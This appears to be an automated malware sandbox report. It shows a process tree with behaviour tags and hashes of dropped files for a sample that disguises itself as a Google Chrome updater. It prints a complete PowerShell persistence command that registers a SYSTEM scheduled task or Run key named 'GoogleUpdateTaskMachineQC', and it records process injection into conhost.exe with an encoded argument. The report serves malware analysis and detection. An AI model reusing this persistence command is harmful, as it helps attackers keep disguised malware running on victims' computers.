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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:5048
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious behavior: EnumeratesProcesses
PID:2472
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵PID:4004
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC1⤵PID:1100
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1548 -
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵PID:4920
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:1240
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
PID:4624
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"1⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:3920
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C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.VCLibs.140.00_8wekyb3d8bbwe1⤵PID:4360
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k UnistackSvcGroup1⤵PID:4476
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
13KB
MD54cd09fa6b88e056d1102bfd6283723de
SHA1deebe86eb21b91bf31422463f93e58a570cf45f9
SHA256610cf51eeee3d680caa3d0cad27c8875436b7965294055051ad15e78abb9f7df
SHA51208539a112e2bb710e4ffdbe4df8cc7831b0bc0711a92cbdf6ce4d3d5a827656c3bc314b02eca3d5593898d7927da799cab4d63c7a53990d8ee20bf887dba301c
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Filesize
143KB
MD54a25931fe26a49cbd869cecd1a0c9c03
SHA162b25d74d1de1e14f77b579dd305b45910448b4e
SHA256a929769c4cfb9f6c5f0118d300b580eb959b4d20e697f80110ed585939648e0e
SHA512af9afb2b23732cd78df9602b66733879b0f6900a491255cbb43150fcf103c85b7ca7c945b6ee7c4bc18105f91246f27ac05abcbda7dab3ebb5dfb7cf022df49c
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Filesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
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Filesize
16KB
MD5144a9130903fd5535b8b43e4acde5544
SHA1521990638d45e9bcd578cded55560fe6e207e77d
SHA25610426e50568fb37eeb8b7baa8914ea3b2184e2becb3b0e2230e26f7956bca70b
SHA5124d73662d66d4c56dee9edefaeef0a66637f69f8391a5cf7b8f92a83e8ff71ca37a94284c3be4e5399ebd81082f8cfacb6d07941a9411af5135f23aa2f2a15b3f
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Filesize
2KB
MD5750e4be22a6fdadd7778a388198a9ee3
SHA18feb2054d8a3767833dd972535df54f0c3ab6648
SHA25626209c196c9c45202d27468ea707b2b46f375bb612d50271924a28f9210df6a1
SHA512b0415087dfc32908b449b876b395a607698b0f7b72031916b6fe7c002e4b163ba318b7e85c8ce41f007429e666974c04967bc14345e3f4614e34d94f5c8ae804
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Filesize
944B
MD51fd9acaca88b02b5c3d91e5fe31b8623
SHA1fffbd1cac90964504abb2e08065996b633a647d2
SHA256348b530087a3ac913eed91c9fb4a05084a3bac72d28821f0fca58c24446cba8b
SHA512ca6a62beac34630e2d0ad4df118c198191bcc665a8f955718673626ddbdc64e59d4d9b03883322e673db7e4960765d91aa2c12399c137a5dc3565d1d6ea9510d
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Filesize
1KB
MD5654b6571e6763132e93d8ef72e202673
SHA1584657d5f14b02868a0f629ebbd4395b6ba1f526
SHA256a82ca517a8f2332441d05cd57351b5c3e4e3a895fcb556ec65435f4323107731
SHA51256c1ce7454876fa8fe984f292142a6b30ad964dc2e22ea16deb0760c1ab4023015f873d4a3692d2e61571ed4b893c2e41ac5043db4772756aaa53074e66d838e
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5b42c70c1dbf0d1d477ec86902db9e986
SHA11d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA2568ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
SHA51257fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5